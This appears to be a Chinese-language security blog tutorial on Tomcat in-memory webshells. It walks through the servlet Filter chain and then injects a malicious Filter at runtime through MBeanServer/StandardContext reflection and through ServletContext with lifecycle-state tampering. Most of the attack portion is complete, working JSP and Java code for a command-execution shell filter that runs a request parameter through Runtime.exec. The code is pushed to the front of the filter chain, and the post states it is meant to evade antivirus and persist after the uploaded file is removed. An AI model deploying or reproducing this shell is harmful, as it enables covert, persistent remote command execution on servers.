目前webshell的免杀开始向内存中迁移,这样实现的好处显而易见,将webshell注入到内存中,一方面增加了查杀的难度,另一方面即使我们传入的文件被查杀,只要服务器不重启,我们仍然可以利用注入到内存中的shell控制主机,所以了解内存shell的实现是比较重要的。
动态注册Filter实现内存马
要了解如何动态实现filter过滤器加载内存马,首先得了解几个问题
- 什么是过滤器?
- 为什么要使用过滤器?
- 如何手动创建过滤器?
- 如何动态注册过滤器?
什么是过滤器及为什么要使用过滤器?
Filter也叫做过滤器,通过过滤器,可以根据访问URL的不同,对访问进行拦截处理,也可以在服务端响应给客户端之前对处理响应消息。
在servlet中提供了Filter接口,如果我们实现这个接口并实现其中的方法,可以将自己的类注册成过滤器。Filter接口定义了如下三个方法:
1 2 3 4
| public void init(FilterConfig filterConfig) throws ServletException; public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException; public void destroy();
|
一般我们需要关注和实现的是doFilter方法,当我们去访问某个servlet程序,如果发现注册了filter对该servlet进行拦截,则会首先去执行filter中的doFilter方法,根据doFilter中的结果决定是否去执行servlet中的service方法。同样我们也可以通过doFilter方法,在执行service方法之前和之后执行自定义操作。
我们仔细观察doFilter方法的定义,可以看到FilterChain参数,这就是过滤器链。如果我们想要实现通过多个Filter对同一个servlet请求进行拦截,就需要用到过滤器链。过滤器链的拦截顺序和web.xml中配置的顺序有关,当执行上一个Filter的doFilter方法是,通过FilterChain.doFilter执行下一个过滤器的doFilter方法。
如何手动创建一个过滤器?
Filter过滤器的实现有两种,第一种是在web.xml种进行配置,另一种是使用@WebFilter注解。我们首先看第一种方式。
web.xml配置过滤器
首先我们要创建一个web项目,并创建一个servlet,可以参考https://blog.csdn.net/yhao2014/article/details/45740111
搭建,注册一个HelloWorld servlet:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter;
public class HelloWorld extends HttpServlet { private String message;
@Override public void init() throws ServletException { message = "Hello world, this message is from servlet!"; }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.setContentType("text/html");
PrintWriter out = resp.getWriter(); out.println("<h1>" + message + "</h1>"); }
@Override public void destroy() { super.destroy(); } }
|
下面我们实现一个Filter在输出hello world之前和之后执行自定义操作,首先在web.xml中配置Filter
1 2 3 4 5 6 7 8 9 10 11 12
| <filter> <filter-name>FirstFilter</filter-name> <filter-class>FirstFilter</filter-class> //过滤器类为FirstFilter <init-param> <param-name>encoding</param-name> <param-value>GB2312</param-value> </init-param> </filter> <filter-mapping> <filter-name>FirstFilter</filter-name> <url-pattern>/*</url-pattern> //经过FirstFilter处理的URL,这里是所有的URL都会经过这个过滤器处理。 </filter-mapping>
|
创建过滤器类,在执行servlet之前执行对应的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import javax.servlet.*; import java.io.IOException; import java.io.PrintWriter;
public class FirstFilter implements Filter { public void destroy() { }
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { chain.doFilter(req, resp); PrintWriter out = resp.getWriter(); out.println("<h1>执行后</h1>"); }
public void init(FilterConfig config) throws ServletException {
}
}
|
打断点调试,可以看到执行HelloWorld之前,首先经过了FirstFilter拦截器的处理,并在执行完HelloWorld的doGet方法后执行后,回到了FirstFilter中的doFilter方法对response追加testing666。
执行结果如下:
我们再尝试创建一个过滤器链,再添加一个过滤器,再web.xml中进行配置,配置如下:
1 2 3 4 5 6 7 8 9 10 11 12
| <filter> <filter-name>secondFilter</filter-name> <filter-class>secondFilter</filter-class> <init-param> <param-name>encoding</param-name> <param-value>GB2312</param-value> </init-param> </filter> <filter-mapping> <filter-name>secondFilter</filter-name> <url-pattern>/HelloWorld</url-pattern> </filter-mapping>
|
secondFilter内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javax.servlet.*; import java.io.IOException; import java.io.PrintWriter;
public class secondFilter implements Filter { public void destroy() { }
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { chain.doFilter(req, resp); PrintWriter out = resp.getWriter(); out.println("<h1>secondFilter Test</h1>"); }
public void init(FilterConfig config) throws ServletException {
} }
|
debug调试,可以看到进入Helloworld的doGet方法之前先经过了FirstFilter.doFilter再经过了secondFilter.doFilter。
由于先经过了FirstFilter再经过了secondFilter,因此再返回的时候,先会经过secondFilter的处理,再经过FirstFilter处理,最终执行结果如下:
注解实现过滤器
在web.xml中对servlet和过滤器的配置同样可以使用注解实现,对servlet的配置如下:
使用@WebFilter注解对两个过滤器进行配置。
修改后运行tomcat,发现还是先执行了firstFilter再执行了secondFilter,我们知道在上一个例子中执行过滤器链是因为我们在web.xml中进行配置,这个执行顺序是和<filter-mapping>
的声明顺序有关的,但是在这个例子中并没有在web.xml中进行配置。经过查阅资料,在注解中进行配置和filterName首字母有关,A-Z代表着不同的执行顺序。
如何动态注册Filter?
Tomcat中Filter注册流程
在了解如何动态注册Filter之前,我们先看下tomcat是如何注册Filter的,在org.apache.catalina.core.StandardWrapperValve#invoke方法中,会调用createFilterChain方法。
在org.apache.catalina.core.ApplicationFilterChain#createFilterChain中,会获取当前request对象中是否设置了filterChain,没有设置会创建一个ApplicationFilterChain对象并设置到request对象中。
继续向下执行,调用org.apache.catalina.core.StandardContext#findFilterMaps,会返回过滤器数组,这个数组中包含两个我们实现的过滤器和一个tomcat自带的过滤器。
判断获取的filterMaps中的过滤器是否满足dispatcher和requestpath的条件,均满足后会添加到filterChain中。
获取到满足条件的filter后,会将满足条件的filterChain返回。继续看org.apache.catalina.core.StandardWrapperValve#invoke方法,会执行filterChains的doFilter方法。
在org.apache.catalina.core.ApplicationFilterChain#doFilter中会调用internalDoFilter,跟进这个方法,首先获取第一个filter,并执行对应的doFilter方法。
跟进FirstFilter#doFilter,首先调用ApplicationFilterChain.doFilter(req, resp)
ApplicationFilterChain.doFilter中同样会调用internalDoFilter
继续调用其他过滤器,这个过滤器是tomcat自带的过滤器。
继续执行org.apache.catalina.core.ApplicationFilterChain#internalDoFilter,此时if条件已经不能满足,代表过滤器链已经执行结束了。跳过了if步骤后最终会执行servlet.service方法。
分析完这个调用,我们可以分析出这个调用的关键点在于org.apache.catalina.core.StandardContext#findFilterMaps中的filterMaps
我们看一下这个filterMaps[]是在何时被赋值的。在org.apache.catalina.core.StandardContext#addFilterMap中打断点,发现当我们启动项目的时候会被加载。
查看上层调用,FilterMap来自于webxml.getFilterMappings()
getFilterMappings在webxml.java中,返回filterMaps对象,所以我们得知道filterMaps是在哪里被赋值的。
经过分析存在addFilterMapping方法,该方法中会为FilterMaps添加内容
在addFilterMapping方法打断点,重新启动项目,发现在processAnnotationWebFilter中调用了addFilterMapping添加filterMap,但是在调用addFilterMapping添加filterMap前也会调用addFilter添加filterDef对象。
查看filterDef和filterMap的内容,filterDef中包含了filterClass内容,而filterMap中包含了urlPatterns等内容,也就是说filterMap是负责url匹配的,其作用是解析web.xml中的标签。而FilterDef中包含Filter的定义和处理这个Filter的类。
查看webxml.java中的代码,可以看到filterDef的值会被保存到filters中。filterMap的内容会被保存到filterMaps中。
从这里可以看出,如果想要动态创建filter过滤器,只要在filterMaps和filters中添加值就可以了,但是我们在跟踪tomcat filter过滤链加载的过程中,并没有注意到filters是在哪里起作用的,重新查看filter调用过程,发现filter的类是通过filterConfig.getFilter()获取的。
在filterConfig接口实现类ApplicationFilterConfig中的getFilter方法中,可以看到能否获取到Filter是和filterDef有关系的。
也就是说理论上来讲我们可以通过获取webxml对象,并修改其中的filters和filterMaps的内容来动态添加filter过滤器的,但是这个webxml对象我们在运行中无法获取到。但是在通过webxml.getFilters()或者webxml.getFilterMappings()方法获取到FilterDef和filterMap后,会调用StandardContext中的addFilterDef和addFilterMap方法将filter和filterMap赋值给standardContext对象的变量中。
并且在最终创建过滤链的时候会调用standardContext的findFilterMaps方法来获取filterMaps。所以我们可以通过获取StandardContext对象,并调用其中的addFilterMap和addFilterDef来动态添加filter。
StandardContext注册Filter
JMX(Java Management Extensions)是一套标准,这种机制可以方便的管理、监控正在运行中的Java程序。常用于管理线程,内存,日志Level,服务重启,系统环境等。
- MBean:是Managed Bean的简称,可以翻译为“管理构件”。在JMX中MBean代表一个被管理的资源实例,通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为。
- MBeanServer:MBean生存在一个MBeanServer中。MBeanServer管理这些MBean,并且代理外界对它们的访问。并且MBeanServer提供了一种注册机制,是的外界可以通过名字来得到相应的MBean实例。
配置Jconsole监控MBean
在启动项目时,添加如下参数
1
| -Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=11911 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
|
启动Jconsole,连接-》新建连接-》Bootstrap进程
查看MBean中的内容,在BasicAuthenticator中可以看到其中存在context对象,因此我们可以通过type=Valve,host=localhost,context=/manager,name=BasicAuthenticator
来获取Context对象
首先获取MBeanServer,代码如下:
1
| MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
|
获取mBeanServer后可以通过mBeanServer-》mbsInterceptor属性-》repository属性-》domainTb属性
获取所有的MBean对象。
通过反射调用获取到domainTb。
1 2 3 4 5 6 7 8 9 10 11
| Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(mBeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Object repository = field.get(mbsInterceptor);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
|
下一步我们找到Catalina->context=/manager,host=localhost,name=BasicAuthenticator,type=Valve
1 2 3 4
| NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/manager,host=localhost,name=BasicAuthenticator,type=Valve"); field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); Object object = field.get(nonLoginAuthenticator);
|
从resource中获取Context对象。
1 2 3 4 5 6 7 8
| field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); Object resource = field.get(object);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(resource);
|
当然不止context=/manager,host=localhost,name=BasicAuthenticator,type=Valve
可以获得context对象。
得到StandardContext对象后,调用addFilterDef和addFilterMap添加filterDef和FilterMap。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| FilterMap filterMap = new FilterMap(); FilterDef filterDef = context.findFilterDef(filterName); Filter filter = new TomcatShellFilter();
if (filterDef == null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); context.addFilterDef(filterDef); context.filterStart(); filterMap.setFilterName(filterName); filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST)); filterMap.addURLPattern(filterUrlPattern); context.addFilterMap(filterMap); Object[] filterMaps = context.findFilterMaps(); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { FilterMap f = (FilterMap) filterMaps[i]; if (f.getFilterName().equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = f; } else { tmpFilterMaps[index++] = f; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } System.out.println("Test Add Filter................"); }else { System.out.println("add success"); }
|
TomcatShellFilter的内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| class TomcatShellFilter implements Filter {
private final String cmdParamName = "cmd";
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println( "TomcatShellFilter doFilter....................................................................."); String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} }
|
测试结果如下:
最后给出完整的jsp源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.management.MBeanServer" %> <%@ page import="org.apache.tomcat.util.modeler.Registry" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <html> <head> <title>AddFilter</title> </head> <body> <%!
public class TomcatShellFilter implements Filter {
private final String cmdParamName = "sectest666";
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} } %> <% final String filterName = "TomcatFilterShell"; final String filterUrlPattern = "/xxxxxxx/*"; try { MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(mBeanServer); field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Object repository = field.get(mbsInterceptor); field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository); NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/,host=localhost,name=NonLoginAuthenticator,type=Valve"); out.println("Inject /,please visit /xxxxxxx/aaaa?sectest666=whoami"); if(nonLoginAuthenticator==null){ nonLoginAuthenticator = domainTb.get("Catalina").get("context=/manager,host=localhost,name=BasicAuthenticator,type=Valve"); out.println("Inject /manager,please visit /manager/xxxxxxx/aaaa?sectest666=whoam"); } field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); Object object = field.get(nonLoginAuthenticator); field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); Object resource = field.get(object); field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); field.setAccessible(true); StandardContext context = (StandardContext) field.get(resource); FilterMap filterMap = new FilterMap(); FilterDef filterDef = context.findFilterDef(filterName); Filter filter = new TomcatShellFilter(); if (filterDef == null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); context.addFilterDef(filterDef); context.filterStart(); filterMap.setFilterName(filterName); filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST)); filterMap.addURLPattern(filterUrlPattern); context.addFilterMap(filterMap); Object[] filterMaps = context.findFilterMaps(); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { FilterMap f = (FilterMap) filterMaps[i]; if (f.getFilterName().equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = f; } else { tmpFilterMaps[index++] = f; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } out.println("添加Filter成功"); }else{ out.println("已成功添加"); } } catch (Exception e) { out.println("添加Filter失败"); e.printStackTrace(); } %> </body> </html>
|
servletContext注册Filter
Servlet,Listener,Filter由ServletContext去加载,无论是使用xml配置还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向Web容器中进行注册。Servlet 3.0 可以由ServletContext动态进行注册,因此需在Web容器初始化的时候(即建立ServletContext对象的时候)进行动态注册。 –动态注册之Servlet+Filter+Listener
在使用servletContext动态注册Filter的过程中,主要使用了下面两个接口
1 2
| servletContext.addFilter("Tomcat WebSocket (JSR356) Filter", new WsFilter()) FilterRegistration.Dynamic.addMappingForUrlPatterns(types, true, "/*");
|
之前我们了解到注册Filter主要和FilterDef和FilterMap有关,这两个API为什么可以动态注册Filter,这种注册方式在tomcat中也有使用,代码如下:
跟入org.apache.catalina.core.ApplicationContextFacade#addFilter(java.lang.String, javax.servlet.Filter),调用org.apache.catalina.core.ApplicationContext#addFilter(java.lang.String, javax.servlet.Filter)。
创建filterDef并调用org.apache.catalina.core.StandardContext#addFilterDef将添加filterDef。
再看看FilterRegistration.Dynamic.addMappingForUrlPatterns(types, true, "/*");
,同样调用addFilterMap添加FilterMap到StandardContext对象中。
MBeanServer获取servletContext
通过之前的介绍,可以通过MBeanServer获取standardContext,再通过standardContext获取servletContext子类ApplicationContext,并调用addFilter和addMappingForUrlPatterns添加过滤器。
1 2 3 4 5 6 7
| ApplicationContext appContext=new ApplicationContext(context); Filter tomcatShellFilter = new TomcatShellFilter(); javax.servlet.FilterRegistration.Dynamic filterRegistration = appContext .addFilter(filterName, tomcatShellFilter); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{filterUrlPattern});
|
但在添加过程中发现会报 无法将筛选器添加到上下文[/manager],因为该上下文已初始化
异常,经过调试在addFilter中会判断context对象中state的内容是否为STARTING_PREP,由于我们这里已经初始化完成,因此state状态为started,因此会抛异常。
经过上面的分析,再调用addFilter添加Filter之前需要修改context中state的状态
1 2 3 4
| java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
|
修改状态后虽然可以正常添加Filter过滤器,但是访问Filter会出错。
因此添加结束后需要将state的内容改回来。
1
| stateField.set(context, org.apache.catalina.LifecycleState.STARTED);
|
更改state状态后再去访问Filter,会返回404
调试代码,在FilterMap中确实已经添加了我们的Filter。
但在FilterConfig中找不到我们的Filter,因此无法调用成功。
但我们已经将Filter的内容添加到FilterDefs中,经过查看org.apache.catalina.core.StandardContext#filterStart会将filterDefs的内容同步到filterConfigs中,因此需要反射调用filterStart。
1 2 3 4
| Method filterStartMethod = org.apache.catalina.core.StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(context, null);
|
最终JSP实现代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="javax.management.MBeanServer" %> <%@ page import="org.apache.tomcat.util.modeler.Registry" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="com.sun.jmx.mbeanserver.NamedObject" %> <%@ page import="java.util.Map" %> <%@ page import="java.util.HashMap" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Method" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.InvocationTargetException" %>
<html> <head> <title>servletContext</title> </head> <body> <%!
public class TomcatShellFilter implements Filter {
private final String cmdParamName = "sectest666";
@Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { String cmd; if ((cmd = servletRequest.getParameter(cmdParamName)) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line + '\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() {
} } %> <% final String filterName = "TomcatFilterShell"; final String filterUrlPattern = "/xxxxxxx/*"; try { MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(mBeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Object repository = field.get(mbsInterceptor);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/,host=localhost,name=NonLoginAuthenticator,type=Valve"); out.println("Inject /,please visit /xxxxxxx/aaaa?sectest666=whoami"); if(nonLoginAuthenticator==null){ nonLoginAuthenticator = domainTb.get("Catalina").get("context=/manager,host=localhost,name=BasicAuthenticator,type=Valve"); out.println("Inject /,please visit /manager/xxxxxxx/aaaa?sectest666=whoami"); } field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); Object object = field.get(nonLoginAuthenticator);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); Object resource = field.get(object);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); field.setAccessible(true); StandardContext context = (StandardContext) field.get(resource); java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(context, org.apache.catalina.LifecycleState.STARTING_PREP); ApplicationContext appContext=new ApplicationContext(context); if (appContext.getFilterRegistration(filterName) == null && context != null) { Filter tomcatShellFilter = new TomcatShellFilter(); javax.servlet.FilterRegistration.Dynamic filterRegistration = appContext .addFilter(filterName, tomcatShellFilter); filterRegistration.setInitParameter("encoding", "utf-8"); filterRegistration.setAsyncSupported(false); filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{filterUrlPattern}); Method filterStartMethod = org.apache.catalina.core.StandardContext.class .getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(context, null); Class ccc = null; try { ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Throwable t){} if (ccc == null) { try { ccc = Class.forName("org.apache.catalina.deploy.FilterMap"); } catch (Throwable t){} } Class c = Class.forName("org.apache.catalina.core.StandardContext"); Method m = c.getMethod("findFilterMaps"); Object[] filterMaps = (Object[]) m.invoke(context); Object[] tmpFilterMaps = new Object[filterMaps.length]; int index = 1; for (int i = 0; i < filterMaps.length; i++) { Object o = filterMaps[i]; m = ccc.getMethod("getFilterName"); String name = (String) m.invoke(o); if (name.equalsIgnoreCase(filterName)) { tmpFilterMaps[0] = o; } else { tmpFilterMaps[index++] = filterMaps[i]; } } for (int i = 0; i < filterMaps.length; i++) { filterMaps[i] = tmpFilterMaps[i]; } } stateField.set(context, org.apache.catalina.LifecycleState.STARTED);
} catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException | InvocationTargetException e) { e.printStackTrace(); } catch (IllegalAccessException | NoSuchMethodException e) { e.printStackTrace(); }
%> </body> </html>
|
修改WRAP_SAME_OBJECT从request对象中获取
之前在介绍tomcat回显方案时介绍过可以通过修改WRAP_SAME_OBJECT的内容为true获取到request和response对象。获取到request对象后可通过request.getServletContext()
获取到servletContext。获取servletContext的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| try{ java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest"); java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers"); modifiers.setAccessible(true); modifiers.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); modifiers.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); modifiers.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL);
WRAP_SAME_OBJECT.setAccessible(true); lastServicedRequest.setAccessible(true); lastServicedResponse.setAccessible(true);
if(!WRAP_SAME_OBJECT.getBoolean(null)){ WRAP_SAME_OBJECT.setBoolean(null,true); lastServicedRequest.set(null,new ThreadLocal()); lastServicedResponse.set(null,new ThreadLocal()); }else{ ThreadLocal<javax.servlet.ServletRequest> threadLocalRequest = (ThreadLocal<javax.servlet.ServletRequest>) lastServicedRequest.get(null); javax.servlet.ServletRequest request = threadLocalRequest.get();
try { javax.servlet.ServletContext servletContext=request.getServletContext();
}catch (Exception e){ e.printStackTrace(); } }
}catch (Exception e){ e.printStackTrace(); }
|
由于动态注册Filter需要修改standardContext的state属性,因此我们需要standardContext对象,此处的servletContext实际上时ApplicationContextFacade对象,通过servletContext可以获取到StandardContext对象。
1 2 3 4 5 6
| java.lang.reflect.Field contextField=servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext); contextField=applicationContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); org.apache.catalina.core.StandardContext standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
|
后面的实现和MBeanServer类似,直接给出JSP文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167
